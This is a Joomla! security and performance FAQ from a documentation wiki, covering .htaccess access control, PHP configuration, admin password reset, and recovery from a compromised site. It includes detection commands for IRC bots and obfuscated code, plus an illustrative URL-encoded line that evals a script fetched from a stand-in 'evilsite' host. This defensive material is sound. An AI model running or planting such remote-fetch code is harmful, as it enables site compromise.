Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you cannot use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
time() + $offset) . " GMT";
header($ExpStr);

# Strip unneeded modules, components, mambots from Joomla. If you haven't used them, the impact on your loading time is minimal, but with more components/modules active, there are more points of failure, and Apache errors are slow!
# Scrutinise the Apache error log. It is amazing how many errors can crop up even with a fairly minimal Joomla install, and they don't necessarily affect the appearance of the page. Check your error log, especially if you are using custom components/modules, or any non-standard config settings. Once you've noticed any problems, it's time to fix the code creating them, and test thoroughly before uploading the fixed versions.
# Keep rechecking as you add/remove features, redesign or change any server configuration options. Even things like adding virtual servers in Apache can affect speed of the server, as a missed config setting can cause general Apache delays.

== Should PHP run as a CGI script or as an Apache module? ==

There are two ways to configure Apache to use PHP: 

# Configure Apache to load the PHP interpreter as an Apache module
# Configure Apache to run the PHP interpreter as a CGI binary

(PS: Windows IIS normaly configures as CGI by the way) 

It is the intention of this post to provide you information relating to
the configuration and recognition of each method. "In general"
historically only one method or the other has been implemented,
however, with the architectural changes made to PHP starting with PHP5,
it has been quite common for hosting firms to configure for both. One
version running as CGI and one version running as a Module. It is
generally accepted more recently that running PHP as a CGI is more
secure, however, running PHP as an Apache Module does have a slight
performance gain and is generally how most pre-configured systems will
be delivered out of the box.

What is the difference between CGI and apache Module Mode? 

An Apache module
is compiled into the Apache binary, so the PHP interpreter runs in the
Apache process, meaning that when Apache spawns a child, each process
already contains a binary image of PHP. A CGI is executed as a single
process for each request, and must make an exec() or fork() call to the
PHP executable, meaning that each request will create a new process of
the PHP interpreter. Apache is much more efficient in it's ability to
handle requests, and maaging resources, making the Apache module
slightly faster than the CGI (as well as more stable under load). 

CGI Mode
on the other hand, is more secure because the server now manages and
controls access to the binaries. PHP can now run as your own user
rather than the generic Apache user. This means you can put your
database passwords in a file readable only by you and your php scripts
can still access it! The "Group" and "Other" permissions ( refer <a href="component/option,com_easyfaq/task,view/id,73/Itemid,268/" target="_blank">Permissions FAQ</a>

can now be more restrictive. CGI mode is also claimed to be more
flexible in many respects as you should now not see, with phpSuExec (
refer [http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html" target="_blank Permissions under phpSuExec]
issues with file ownership being taken over by the Apache user,
therefore you should no-longer have problems under FTP when trying to
access or modify files that have been uploaded through a PHP interface,
such as Joomla! upload options.

If your server is
configured to run PHP as an Apache module, then you will have the
choice of using either php.ini or Apache .htaccess files, however, if
your server runs PHP in CGI mode then you will only have the choice of
using php.ini files locally to change settings, as Apache is no longer
in complete control of PHP.

<hr />

Testing and Reviewing Your PHP Installation 

Also known as "Everything you ever wanted and didn't want to know about PHP"

To
find out the PHP interpreter mode and to generally test your PHP
installation and to find out a vast amount of information about your
PHP environment, supported utilities, applications and settings, you
create a single PHP file containing only the following lines; 


phpinfo(); 

This single line of code outputs an amazing amount of information, be warned.... <img src="http://forum.joomla.org/Smileys/joomla/wink.gif" alt="Wink" border="0" />

Save the file as any filename you wish, but with the ".php" extension. FTP it to your server and open it in a browser.

Other useful information

The following are PHP functions, that when run from a PHP File can provide some useful information, (less than the above option) many should run on most hosts, however many hosts disable some of these functions for security. No Guarantee's offered...

Again,
as above, make a file, name it anything you wish but make sure it has
the ".php" extension, copy and paste the following lines in to it and
FTP to your server. 

<? echo "Hostname: ". @php_uname(n) ."";
if (function_exists( 'shell_exec' )) { echo "Hostname: ".
@gethostbyname(trim(`hostname`)); } else { echo "Server IP: ".
$_SERVER['SERVER_ADDR'] .""; }
echo "Platform: ". @php_uname(s) ." ". @php_uname(r) ." ". @php_uname(v) ."";
echo "Architecture: ". @php_uname(m) ."";
echo "Username: ". get_current_user () ." ( UiD: ". getmyuid() .", GiD: ". getmygid() ." )";
echo "Curent Path: ". getcwd () ."";
echo "Server Type: ". $_SERVER['SERVER_SOFTWARE'] . "";
echo "Server Admin: ". $_SERVER['SERVER_ADMIN'] . "";
echo "Server Signature: ". $_SERVER['SERVER_SIGNATURE'] ."";
echo "Server Protocol: ". $_SERVER['SERVER_PROTOCOL'] ."";
echo "Server Mode: ". $_SERVER['GATEWAY_INTERFACE'] .""; 
?>

The Joomla! HISA or Joomla! Tools Suite can also assist to determine which mode your server in running in, also
providing a large amount of other related information including recommendations on configuration.

Joomla! Tools Suite (JTS) is a complete suite of Tools to help you troubleshoot and maintain Joomla! and include the "HISA" script. [http://joomlacode.org/gf/project/jts/ Download JTS Here]

Joomla! Health, Installation and Security Audit (HISA) is a single standalone script that provides purely configuration information. [http://joomlacode.org/gf/project/hisa/ Download HISA Here]

*[http://forum.joomla.org/viewtopic.php?t=136328 Forum Discussion Here] (Project is [http://forum.joomla.org/viewtopic.php?p=1804483#p1804483 ''Dormant''] since August 2010)

*[http://www.joomlatutorials.com/joomla-tips-and-tricks/40-miscellaneous-joomla-tips/114-how-to-troubleshoot-a-joomla-installation.html How to TroubleShoot A Joomla! Installation]

Another Indirect method, and possibly not 100% reliable, is that if you are unable to make use of .htaccess on Linux hosting and Apache based servers then you are either running in CGI mode or your host has disabled the use of .htaccess even if your server is running PHP as an Apache Module.

Remove these files immediately after use, the information contained in their output is extensive and explicit regarding your PHP and server configurations, it will help those wishing to cause your site harm

For those wishing to know more about "How To..."

Running PHP as an Apache module 
To configure Apache to load PHP as a module to 'parse' your PHP scripts, the httpd.conf needs to be modified, typically found in "c:\Program Files\Apache Group\Apache\conf\" or "/etc/httpd/conf/".

Search for the section of the file that has a series of commented out "LoadModule" statements. (Statements prefixed by the hash "#" sign are regarded as having been commented out.) If PHP is running in "Apache Module" Mode you should see something very similar to the following;

LoadModule php4_module "c:/php/php4apache.dll"

Apache 1.x

For PHP5
LoadModule php5_module C:/php/php5apache2.dll 
or (platform dependant) 
LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 

LoadModule php4_module C:/php/php4apache.dll 

and
AddModule mod_php4.c 
or 
AddModule mod_php5.c 
 
Apache 2.x 

For PHP5

LoadModule php5_module C:/php/php5apache2.dll 

or (platform dependant)

LoadModule php5_module /usr/lib/apache/libphp5.so 

For PHP4 

LoadModule php4_module libexec/libphp4.so 
or (platform dependant) 
LoadModule php4_module C:/php/php4apache.dll 

and 
AddModule mod_php5.c 

or 
AddModule mod_php4.c 

Note: 
Don't worry that you can't find a "mod_php4.c" or "mod_php5.c" file anywhere on your system. That directive does not cause Apache to search for the file on your system. For the curious, it specifies the order in which the various modules are enabled by the Apache server. 

If you're using Apache 2.x, you do not have to insert the AddModule directive. It's no longer needed in that version. Apache 2.x has its own internal method of determining the correct order of loading the modules.

Now find the "AddType" section in the file, and add the following line after the last "AddType" statement:

AddType application/x-httpd-php .php 

If you need to support other file types, like ".php3" and ".phtml", simply add them to the list, like this:<

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Run a syntax check and if all is ok, restart Apache... 

<hr />
Running PHP as a CGI binary 
To configure PHP to run as a CGI, again you will need to configure the
httpd.conf, but confirm that the above settings are not also
configured, unless you now what you are doing you can generate yourself
"HTTP 500" errors. Search your Apache configuration file for the
"ScriptAlias" section.

Add the following line below after the ScriptAlias for "cgi-bin". 

Note:

The location will depend on where PHP is installed on your system, you
should substitute the appropriate path in place of "c:/php/" (for
example, "c:/Program Files/php/"). 

ScriptAlias /php/ "c:/php/" 

Apache
again needs to be configured for the PHP MIME type. Search for the
"AddType" section, and add the following line after it: 

AddType application/x-httpd-php .php 

As in the case of running PHP as an Apache module, you can add whatever extensions you want Apache to recognise as PHP scripts, such as:

AddType application/x-httpd-php .php3 
AddType application/x-httpd-php .phtml 

Next, you will need to tell the server to execute the PHP executable each time it encounters a PHP script. Add the following below any existing entries in the "Action" section.

Action application/x-httpd-php "/php/php.exe"

If you notice, we have used the "ScriptAlias" reference, "/php/" portion
will be recognised as the scriptAlias configured above, this is sort a path alias which will correlate to your PHP installation path configured previously. In other words, don't put "c:/php/php.exe" or "c:/Program Files/php/php.exe" in that directive, put
"/php/php.exe", Apache WILL work it out if correctly configured.

Configuring the Default Index Page 
This section applies to all users, whether you are loading PHP as a module or running it as a CGI binary, and has been seen often enough to warrant a mention.

If you want to make your PHP script execute as the default page for a directory, you have to add another line to the "httpd.conf". Simply search for the line in the file that begins with a "DirectoryIndex" and add "index.php" to the list of files on
that line. For example, if the line used to be:

DirectoryIndex index.html

change it to

DirectoryIndex index.html index.php 
If you still wish .html files to be executed before .php files 
 
or 
DirectoryIndex index.php index.html 
If you wish .php files to be executed before .html files

The next time you access the site or a directory within a site without a
filename, Apache will "auto-magically" deliver "index.php" if
available, or "index.html" if "index.php" is not available.

== Why shouldn't I use PHP safe_mode? ==
'''Overview'''
Enabling safe_mode is not needed if other reasonable security precautions are followed. Using safe_mode for web site security is a poor compromise in a bad situation. It may make sense in some situations, but there is almost always a better way. Because safe_mode in some sense only gives the illusion of safety, it will be removed from PHP starting with version 6.0.

The Joomla! core works fine with or without PHP safe_mode. The one exception to this rule is the installation script. This is because safe_mode, by design, turns off the PHP functions that enable easy uploading via a Web browser. If you do use safe_mode, and need to perform installs via the Web browser, temporarily turn safe_mode OFF, and turn it back ON when finished.

Some third-party extensions may require the specific PHP functions that are blocked by safe_mode. Such extensions should be carefully evaluated to be sure you understand exactly why they require such powerful and potentially dangerous functions.

'''From the official PHP site'''

''"The PHP safe mode is an attempt to solve the shared-server security problem. It is architecturally incorrect to try to solve this problem at the PHP level, but since the alternatives at the web server and OS levels aren't very realistic, many people, especially ISP's, use safe mode for now."''
'''More Information'''

# [http://us3.php.net/manual/en/features.safe-mode.php#ini.safe-mode Official PHP Manual: PHP Security and Safe Mode Configuration Directives]
# [http://us3.php.net/manual/en/features.safe-mode.functions.php Official PHP Manual: PHP Functions restricted/disabled by safe mode]

= Development =
== How do I setup a secure demo site? ==

In /includes/version.php look for:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 1;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 0;

For a demo site it is advised to following:

/** @var string Whether site is a production = 1 or demo site = 0 */
var $SITE = 0;
/** @var string Whether site has restricted functionality mostly used for demo sites: 0 is default */
var $RESTRICT = 1;

$SITE = 0
// Allows multiple user logins with only one account. By default Joomla!
// allows only one active session per account as a security feature.

$RESTRICT = 1
// Disables those logging in, both Front-end and Back-end from changing
// user details - like password and username

These settings are used on the official demo site http://demo.joomla.org

You should also make all files and folders nonwriteable - especially the configuration.php file. Also recommend you setup an automatic cron job that refreshes the database at a set interval (in our case 60mins) from a db script.

== How can I view a live site while developing, but hide it from others? ==

'''Introduction'''

The method described below should be used for relatively minor modifications, such as adjusting menus or quickly reorganizing content sections. More complex tasks, such as installing new components or adjusting complex configuration settings should be performed and tested on a development server first. Not only does this keep your public site up and running, but it also lets you test at your leisure, thus reducing errors. One way to do it is to create a sub-domain (i. e., dev.yourdomain.com) and install Joomla! there just as it is installed on your public site.

'''Directions'''

1. Login to the administrator section, and choose: Site > Global Configuration.

2. The first option you'll see is is to set the site offline. Choose "Yes" and press the Save button. This will hide prevent display of all site pages, and replace them with the following message:

"This site is down for maintenance. Please check back again soon. message instead."

3. While you are logged into the "back end" administrator system, you can still view the "front end," by choosing Site > Template > Preview. This will display the site as it would appear to users along with a warning at the top that the site is down for maintenance.

= Site Recovery =

== Help! My site's been compromised. Now what? ==

'''Directions'''

# '''Change all relevant passwords:''' Assume your passwords have been harvested and immediately change all critical passwords, including shell access, FTP access, Joomla! Administrator accounts, and the database account.
# '''Check raw logs:''' Identify when and how the attackers gained access to your site by carefully reviewing your raw server logs. Make careful note of the date/time and names of attacked files. Note that these logs may have been deleted or altered, so a lack of evidence does not prove a lack of activity.
# '''List recently modified files:''' Before making any changes to your site, generate a list of recently modified files. Here's a php script that will list the files for you. Remove this script as soon as you have your list and don't publish a link to it!
# '''Note suspicious newly-created files:''' Use this list to identify new files that don't belong. Pay particular attention to their creation and modification dates, and correlate them to the dates of attacks shown in your log files.
# '''Note suspicious recently-modified files:''' Check the modified files list for any files that were recently changed. Pay particular attention to the modification, and correlate them to the dates of attacks shown in your log files.
# '''Check for bogus CRON Jobs:''' Hacked cron jobs can be setup to reinfect your site over and over again.
# '''Coordinate with your host:''' If you have identified how you were cracked, report the method to your host. If you are on a shared server, you may habe been attacked through another vulnerable site on your server. Report this to your host. A reputable host will appreciate your efforts in this area.
# '''Delete the entire public_html directory:''' This is the best way to guarantee that every potential vulnerability in that site is removed.
# '''Delete related database records:''' This step may only be possible if you have good backups. Simple script kiddies, who are only trying to mark your index page, may not attack your database, but professionals are usually very interested in confidential data, such as passwords. They may pose as script kiddies to avoid suspicion while repeatedly harvesting confidential information from your database.
# '''Reinstall everything:''' Use pre-crack backups. If you don't have good backups, go on to step 10.
# '''Reset critical passwords again:''' You must reset your passwards again now that your server is finally cleaned of any possible, hidden trojan horses.
# '''Rebuild site:''' If you are unable to rebuild from clean backups, rebuild your entire site using original, pre-crack installs. Use only the latest stable versions of all software, and check the List of Vulnerable Extensions
# '''Review security processes:''' Follow standard security precautions for important settings in php.ini, globals.php, configuration.php, .htaccess, etc.
# '''Review backup processes:''' If you don't already have one, add a dependable backup process to your site administration practices.
# '''Stay watchful:''' Attackers often return repeatedly. Closely monitor your raw logs for suspicious activity.

==How do I reset an administrator password?==

'''Introduction'''

'''Note:''' This method is for Joomla versions up to and including 1.0.12. For later versions of Joomla and Joomla 1.5.xx versions please use this '''([[How_do_you_recover_your_admin_password%3F|FAQ]])'''

Because passwords are stored using a one-way MD5 hash which prevents recovering the password, you cannot recover an existing password, but you can reset it to a new password by editing the password field in the database. In the following directions, you will set the password MD5 value to a known value and then log-in using the password that matches that value. Once logged in, you can change the password again using normal Joomla! user access screens.

'''Enhanced Password Encryption Note Joomla! 1.0.13+ and Joomla! 1.5.x'''
This method works with the new salt-enhanced passwords. This is because Joomla! will automatically update passwords in the earlier format.

'''Directions'''

1. Use a MySQL utility such as phpMyAdmin or MySQL Query Browser .

2. Open the correct database and select the table, jos_users . (Change default table prefix, 'jos_' to your table prefix if it is different.)

3. Select the record (or table row) for your administrator account. (The default Super Administrator is user number 62.)

4. Copy and paste a known MD5 hash into the password field. You can use one of the below examples.
'''Warning:''' You must paste the password's hash value, not the password itself. You can use any of the following hashs, or create your own using one of the MD5 tools listed below.

password = "MD5 hash of password"
------------------------------------------------------
admin = 21232f297a57a5a743894a0e4a801fc3
secret = 5ebe2294ecd0e0f08eab7690d2a6ee69
OU812 = 7441de5382cf4fecbaa9a8c538e76783

5. Save the user record.

6. Point a browser to your site and log in using the Super Administrator account you just modified.

7. '''IMPORTANT:''' Once logged in, use the Joomla interface to change the password to one that only you know. This step is vital as it will 'salt' your new password, thus adding an additional level of security on top of the MD5 hash.

Note: This technique can be used to modify any other accounts password. You can also use it to change Usernames.

'''Generating your own MD5 hash from a password of your choice'''

Alternatively, you can set the password to a value of your own choice. Use tools, such as the following, to create your own strong hashed password. Use the above directions once you've generated a hash with these tools.

'''Online MD5 hash creation tools'''
* JavaScript MD5 - http://pajhome.org.uk/crypt/md5/
* MD5er - http://www.md5er.com/

'''Free MD5 utilities for download'''
* MD5 & Hashing Utilities - http://www.digital-detective.co.uk/freetools/md5.asp
* SlavaSoft HashCalc - http://www.slavasoft.com/hashcalc/overview.htm

'''Other MD5 tools'''
* There are many free online and downloadable MD5 utilities. Google "MD5 hash tool"

== How do I find exploits using the *NIX shell? ==

'''Check the active processes'''

Use the "ps" command to look for odd or unknown processes, if you aren't sure what to look for there, user "netstat -ae | grep irc" and/or "netstat -ea | grep 666" and look for ports 6666, 6667, 6668, 6669, these are common ports used for running IRC bots, they may have the name "irc" listed against them, or may have "httpd" or sometimes other regular services names.

'''Check crontab'''

Check your crontab and see if there is a strange entry, these are used in many exploits to restart IRC bots, even when admins or automated process monitors are used to kill a rogue process.

'''Check for hidden files or directories'''

Check for hidden files or directories you dont expect to see, those starting with "." (dots) and also look for ". " (dot, space) often favored to try and catch searches for hidden directories.

Other examples of searches that may help pin down exploits and/or unexpected files and folders:

find /home -type f | xargs grep -l MultiViews
find . -type f | xargs grep -l base64_encode <<< this can produce false positives, it is valid in many mail/graphics scripts
find . -type f | xargs grep -l error_reporting
find / -name "[Bb]itch[xX]"
find / -name "psy*"
ls -lR | grep rwxrwxrwx > listing.txt

== What are these strange (URL-Encoded) characters doing in my code? ==

Overview

Attackers sometimes hide code away from prying eyes by URL Encoding it.

The purpose of URL Encoding is to allow non-URL compatible characters to be passed via the URL. There are many legitimate reasons for doing this, such as hiding email from spammers, dealing with spaces in file names. etc.

However, if you find odd, URL-encoded text in your site's files, you should investigate immediately. URL encoded text is very easy to translate using PHP, javascript, or one of the many free, online translators.

Here are some trivial, non-functioning examples of URL Encoded text:

<table border="1">
<tr>
<th>Original</th>
<th>URL Encoded</th>
</tr>
<tr valign="top">
<td>this line has spaces</td>
<td>this%20line%20has%20spaces</td>
</tr>
<tr valign="top">
<td>eval(evil_script(http://www.evilsite/?evilscript.pl"));</td>
<td>%65val%28%65%76il_%73cri%70t
%28%68tt%70%3A//%77%77%77.
%65%76il%73ite/%3F%65%76il%73
cript.%70l%22%29%29%3B</td>
</tr>
</table>

'''Resources'''

# [http://www.linkedresources.com/tools/unescaper_v0.2b1.html Text Unescape Utility]
# [http://www.w3schools.com/tags/ref_urlencode.asp HTML URL-encoding Reference]

== Edited by==
[http://forum.joomla.org/memberlist.php?mode=viewprofile&u=39784 rliskey]


[[Category:Security]]
[[Category:FAQ]]
[[Category:Security_FAQ]]

Security and Performance FAQs

2011-09-26T22:47:41Z

Cadrlp: /* How can I check my Joomla! installation's overall security and health? */ any other suggestion this project stated that it has "gone away"

{{RightTOC}}

= Getting Started =

==Is GNU and Open Source software worth the costs and risks?==

It's difficult, if not impossible, to argue against the value proposition of GNU and Open Source software, although [http://www.catb.org/~esr/halloween/ some have tried]. Due to zero licensing fees, lower administrative overhead, high-quality code, security releases that are distributed in minutes or hours rather than months or marketing cycles, and free online support from thousands of like-minded developers and users, GNU and Open Source offerings are often the best solution. The math is really quite compelling:

{|class="wikitable" border="1"
! '''Applications''' !! '''Industry Leader''' !! align="right" | '''Cost'''
|-
| GNU/Linux
| Yes
| align="right" | 0
|-
| Apache Web Server
| Yes
| align="right" | 0
|-
| MySQL Relational Database
| Yes
| align="right" | 0
|-
| PHP Scripting Language
| Yes
| align="right" | 0
|-
| Joomla! Content Management System
| Yes
| align="right" | 0
|-
| Thousands of Joomla Extensions
| Varies
| align="right" | 0
|-
! '''Support''' !! '''Relative Quality''' !! align="right" | '''Cost'''
|-
| Joomla! Project Leadership Team
| High
| align="right" | 0
|-
| Joomla! Forge
| High
| align="right" | 0
|-
| Joomla! Online Forums
| High
| align="right" | 0
|-
| Joomla! Documentation
| Medium
| align="right" | 0
|-
| Thousands of Online Volunteers
| High
| align="right" | 0
|-
| Paid Professional Support
| Widely Available
| align="right" | 0
|-
! align="right" | '''Total''' !!   !! align="right" | '''0'''
|}

==What is the Joomla! Administrator's Security Checklist?==

The [[Security Checklist 1 - Getting Started|Security Checklist]] is a concise selection of the best tips and tricks from the many contributors in the Joomla Security Forums. Review this list BEFORE you install Joomla for the first time.

==What are the top 10 stupidest Joomla! security tricks?==
A very good question, and sadly one that many did not ask in time. We proudly present the [[Top 10 Stupidest Administrator Tricks]].

==How do I choose a quality hosting provider?==

The following is a short list of security-related requirements. Depending on your specific needs, you may have many other security requirements such as shell access, cron access, SSL server, etc.

* '''Choose *NIX:''' Joomla! requires at least PHP and MySQL to run. Because Apache/PHP/MySQL run best on UNIX or GNU/LINUX servers, choose a host that offers these options.
* '''Use Secure FTP:''' Choose a host that requires SFTP (Secure FTP) for transferring files. This prevents others from snooping your user name and password from packets as they travel over the Internet.

* '''Set PHP register_globals OFF:''' The most security conscious hosts turn PHP's Register Globals directive OFF by default. The next best allow you to turn it off in local .htaccess or php.ini files. A host that requires you to run a site with Register Globals ON should be avoided. This is true for any PHP enabled site, whether or not you are running Joomla!. There is a legitimate argument to be made by hosts for keeping Register Globals ON for PHP4 sites. This is that it would break too much legacy code. This argument should not be accepted for a PHP5 installation. Beginning with PHP5, the official PHP recommendation was to keep Register Globals is OFF. Note that beginning with PHP6, there will not even be a Register Globals setting, so don't get caught in a Register Globals backwater. Modify your code to work without Register Globals, and choose a host that encourages such practices.

* '''Stay up-to-date:''' Choose a host that stays up-to-date with the latest stable versions of core applications, including the operating system, database, and [http://www.php.net/ PHP].

* '''Avoid cheap shared servers:''' Be sure users on your shared server can't view each others files and databases, for example through shell accounts and cpanels.

* '''Proactive server management:''' Choose a host that provides real information about security compromises, rather than simply shutting your site down. Check their user forums for evidence of how they've responded to cracks in the past. A good host may for example, inform you immediately that a security breach has occurred and will quarantine the problem file for you, while leaving it there for further investigation. A poor host will shut your site down and provide very limited information on why. Watch out! All too many do this.

* '''Require raw log access:''' Be sure you have access to raw server logs. Reading these logs is a vital part of site security and recovery.

* '''Performance matters:''' Choose a host that limits the number of users per machine and the average CPU load per machine to some reasonable number (depending on hardware). Be sure they proactively move user sites as needed to balance load. Check the number of domains on a server using reverse IP lookup.

* '''Data center:''' Choose a host that manages it's own data center. Check the data center infrastructure, such as redundant Internet access, hot swappable backups, full daily backups, environment and access controls, emergency generators, etc.

* '''Know your neighbors:''' Check that your host is not at risk of having its IP addresses blocked because it hosts SPAM sites.

* '''Visit the Joomla Resources Directory (JRD) [http://resources.joomla.org/directory/support-services/hosting.html hosting section]:''' If you are looking for a Joomla Host, please ensure you make your own investigations as to the services offered and whether they suit your needs or not.

